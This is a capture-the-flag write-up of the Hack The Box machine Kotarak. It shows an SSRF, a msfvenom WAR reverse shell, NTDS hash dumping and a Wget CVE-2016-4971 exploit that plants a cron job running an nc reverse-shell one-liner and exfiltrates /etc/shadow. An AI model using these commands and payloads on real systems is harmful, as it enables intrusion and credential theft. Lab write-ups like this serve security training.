HTB: Kotarak
Kotarak an OG machine in Hack the Box.
We will start with a Server-Side Request Forgery that willl lead us into an information leakage of a Tomcat config file with credentials.
Next up we will exploit the Tomcat instance as usual, with a maliciou WAR file that will get us a reverse shell.
Then we will get access to some files from a Windows pentest that include a ntds.dit file and a system hive. This will let us dump a lot of hashes, one of them being the password for the next user.
For root we will exploit a Wget vulnerable version where will manage to write a malicious config file in the root directory of the container where the root flag is located, letting us see it.
Recon
⌗
Nmap⌗
nmap finds four ports:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.1.117 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 11:13 -05
Initiating SYN Stealth Scan at 11:13
Scanning 10.129.1.117 [65535 ports]
Discovered open port 8080/tcp on 10.129.1.117
Discovered open port 22/tcp on 10.129.1.117
Discovered open port 60000/tcp on 10.129.1.117
Discovered open port 8009/tcp on 10.129.1.117
Completed SYN Stealth Scan at 11:14, 14.56s elapsed (65535 total ports)
Nmap scan report for 10.129.1.117
Host is up (0.16s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds
Raw packets sent: 71314 (3.138MB) | Rcvd: 71145 (2.846MB)
With the parameter -oG we are exporting the result in grepable format, which is great to manage with regex and get all the ports without needing to type them one by one:
extractPorts () {
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
ip_address="$(cat $1 | grep initiated | awk 'NF{print $NF}')"
echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
echo $ports | tr -d '\n' | xclip -sel clip
echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
/bin/batcat extractPorts.tmp
rm extractPorts.tmp
}
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.129.1.117
[*] Open ports: 22,8009,8080,60000
[*] Ports copied to clipboard
With parameters -sCV we can take a deeper look into these ports:
❯ nmap -sCV -p22,8009,8080,60000 10.129.1.117 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 11:18 -05
Nmap scan report for 10.129.1.117
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-favicon: Apache Tomcat
60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Kotarak Web Hosting
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.04 seconds
Ports 8080 - 8009⌗
Port 8080 is an instance of Apache Tomcat:
As usual, in /manager/html we can find a login panel. But after trying some default passwords none of them work.
On the other hand, port 8009 is a default Tomcat port, so it gives access to the same content we would see in /manager/html on port 8080.
Port 8006⌗
This port hosts a private browser:
We can test if it works by setting a python server with a test file with some php content as is the language used by the web, we know this because of the extension Wappalyzer:
It actually sends the petition and displays its content but it doesn’t interprete the code.
Server-Side Request Forgery (SSRF)⌗
But what if we make it point to itself?
It works! This way we can fuzz for the opened ports locally inside the machine:
❯ wfuzz -c -t 200 --hh=2 -z range,1-65535 "http://10.129.1.117:60000/url.php?path=http://localhost:FUZZ"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.1.117:60000/url.php?path=http://localhost:FUZZ
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000200: 200 3 L 2 W 22 Ch "200"
000000320: 200 26 L 109 W 1232 Ch "320"
000000022: 200 4 L 4 W 62 Ch "22"
000000888: 200 78 L 265 W 3955 Ch "888"
000000090: 200 11 L 18 W 156 Ch "90"
000000110: 200 17 L 24 W 187 Ch "110"
000003306: 200 2 L 7 W 123 Ch "3306"
000008080: 200 2 L 47 W 994 Ch "8080"
There’s many of them, but the one with the information we need is port 888 let’s take a look:
Backup seems very interesting. If we do hovering we can see where this links to:
Now we know how we can reach to this resource:
Apparently we don’t have anything, but if we check the source code with Ctrl + U we can see the content of the file:
Abusing Tomcat⌗
At the bottom there are some credentials leaked, which we will use to login to the Tomcat instance:
And it works.
Now we can get a reverse shell as usual, uploading a maliciou WAR file.
Let’s create this file with msfvenom:
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.161 LPORT=334 -f war -o shell.war
Payload size: 1105 bytes
Final size of war file: 1105 bytes
Saved as: shell.war
Set a listener in your chosen port and upload the file and open it:
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.1.117.
Ncat: Connection from 10.129.1.117:57260.
whoami
tomcat
We get a shell but not an interactive tty, so if we do ^C we lose the connection with a tty treatment we can fix this:
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ ^Z
zsh: suspended nc -lvnp 334
❯ stty raw -echo; fg
[1] + continued nc -lvnp 334
reset xterm
And lastly some final touches like the screen size (you can get yours doing stty size
):
tomcat@kotarak-dmz:/$ export TERM=xterm
tomcat@kotarak-dmz:/$ export SHELL=bash
tomcat@kotarak-dmz:/$ stty rows 40 columns 145
The user flag is inside atanas’ home directory but we cannot access it yet.
Enumeration⌗
Inside /home there’s a directory tomcat that contains some information about a pentest:
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ ls
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
The .dit file is likely to be an active directory database from a domain controller, ntds.dit.
Dumping hashes⌗
This will be very helpful for us since we can extract all the hashes from an ntds.dit with secretsdump using the SYSTEM reg hive, the .bin.
Let’s send over both files and try to dump the hashes:
❯ secretsdump.py -ntds ntds.dit -system ntds.bin LOCAL
Impacket v0.10.1.dev1+20220504.120002.d5097759 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domainid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
... ... ...
Cracking hashes⌗
There’s a lot of hashes, I will try to crack the NTLM hashes with crackstation.net:
f16tomcat! turns out to be atanas’ password, now we can migrate to that user and see the user.txt:
tomcat@kotarak-dmz:/home/atanas$ su atanass
Password:
atanas@kotarak-dmz:~$ cat user.txt
93f844f50491ef7*****************
Privilege escalation
⌗
As atanas we actually have access to the root directory and a flag.txt:
atanas@kotarak-dmz:/root$ ls
app.log flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt
Getting closer! But what you are looking for can't be found here.
If it’s not here maybe it’s inside of a container.
There’s also an app.log:
atanas@kotarak-dmz:/root$ cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
It’s a log of some connections made from 10.0.3.133 trying to get an archive.tar.gz from our host.
But we don’t seem have access to port 80:
atanas@kotarak-dmz:/root$ python -m SimpleHTTPServer 80
Traceback (most recent call last):
File "/usr/lib/python2.7/runpy.py", line 174, in _run_module_as_main
"__main__", fname, loader, pkg_name)
File "/usr/lib/python2.7/runpy.py", line 72, in _run_code
exec code in run_globals
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 235, in <module>
test()
File "/usr/lib/python2.7/SimpleHTTPServer.py", line 231, in test
BaseHTTPServer.test(HandlerClass, ServerClass)
File "/usr/lib/python2.7/BaseHTTPServer.py", line 606, in test
httpd = ServerClass(server_address, HandlerClass)
File "/usr/lib/python2.7/SocketServer.py", line 417, in __init__
self.server_bind()
File "/usr/lib/python2.7/BaseHTTPServer.py", line 108, in server_bind
SocketServer.TCPServer.server_bind(self)
File "/usr/lib/python2.7/SocketServer.py", line 431, in server_bind
self.socket.bind(self.server_address)
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 13] Permission denied
Or do we?
After some enumeration we find out that authbind is running in the host, which enable rules that will let us access this port:
atanas@kotarak-dmz:/root$ ls -l /etc/authbind/byport
total 0
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 21
-rwxr-xr-x 1 root atanas 0 Aug 29 2017 80
Members of group atanas have acces to ports 80 and 21 through authbind, and we are part of that group so let’s check if we can have control over this port with a netcat:
atanas@kotarak-dmz:/root$ authbind nc -lvnp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.3.133] port 80 [tcp/*] accepted (family 2, sport 45116)
GET /archive.tar.gz HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Host: 10.0.3.1
Connection: Keep-Alive
After some time we get the connection we saw previously on the log. And since we are using netcat we can see more information about the request.
The request is being done with Wget version 1.16, which is different to the one I have so maybe there’s some vulnerabilities to it:
❯ wget --version
GNU Wget 1.21.3 built on linux-gnu.
❯ searchsploit wget 1.16
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Wget < 1.18 - Access List Bypass / Race Condition | multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload (2) | linux/remote/49815.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution | linux/remote/40064.txt
--------------------------------------------------------------------------------------------------------------- ---------------------------------
There’s an RCE available. This vulnerability will let us truncate the file that’s being requested and make it download another file, and not only that, we can even control where this file is going to be downloaded to.
We will be using an FTP service and a HTTP service, luckily for us we have access to both of them with authbind.
The process is well explained in the searchsploit file:
atanas@kotarak-dmz:/root$ authbind python -m SimpleHTTPServer 80
atanas@kotarak-dmz:/root$ mkdir /tmp/ftptest
atanas@kotarak-dmz:/root$ cd !$
cd /tmp/ftptest
atanas@kotarak-dmz:/tmp/ftptest$ cat <<_EOF_>.wgetrc
> post_file = /etc/shadow
> output_document = /etc/cron.d/wget-root-shell
> _EOF_
atanas@kotarak-dmz:/tmp/ftptest$ ls -a
. .. .wgetrc
We have created a directory inside tmp and a file .wgetrc.
Next up, copy the wget-exploit.py specified inside the exploit:
---[ wget-exploit.py ]---
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
...
I will make some changes so the cronjob that will be injected in the container so it sends a reverse shell to me:
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.161 334 >/tmp/f\n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
Having this set let’s launch tmux and run both the FTP server and the exploit at the same time:
atanas@kotarak-dmz:/tmp/ftptest$ authbind python wget-exploit.py
Ready? Is your FTP server running?
FTP found open on 10.129.1.117:21. Let's go then
atanas@kotarak-dmz:/tmp/ftptest$ authbind python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2022-07-13 14:40:05] >>> starting FTP server on 0.0.0.0:21, pid=40763 <<<
[I 2022-07-13 14:40:05] concurrency model: async
[I 2022-07-13 14:40:05] masquerade (NAT) address: None
[I 2022-07-13 14:40:05] passive ports: None
[I 2022-07-13 14:40:53] 10.129.1.117:51160-[] FTP session opened (connect)
Eventually we get the first request:
Serving wget exploit on port 80...
We have a volunteer requesting /archive.tar.gz by GET :)
Uploading .wgetrc via ftp redirect vuln. It should land in /root
10.0.3.133 - - [13/Jul/2022 14:38:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.129.1.117:21/.wgetrc
If everything goes as right in the next one we should get the /etc/shadow and the cronjob should be installed.
We have a volunteer requesting /archive.tar.gz by POST :)
Received POST from wget, this should be the extracted /etc/shadow file:
---[begin]---
root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
---[eof]---
And after a minute we get the connection:
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.1.117.
Ncat: Connection from 10.129.1.117:60702.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname -I
10.0.3.133
Perfect! We got access to the container, now we can see the root flag:
# cat /root/root.txt
950d1425795dfd******************
See you next time!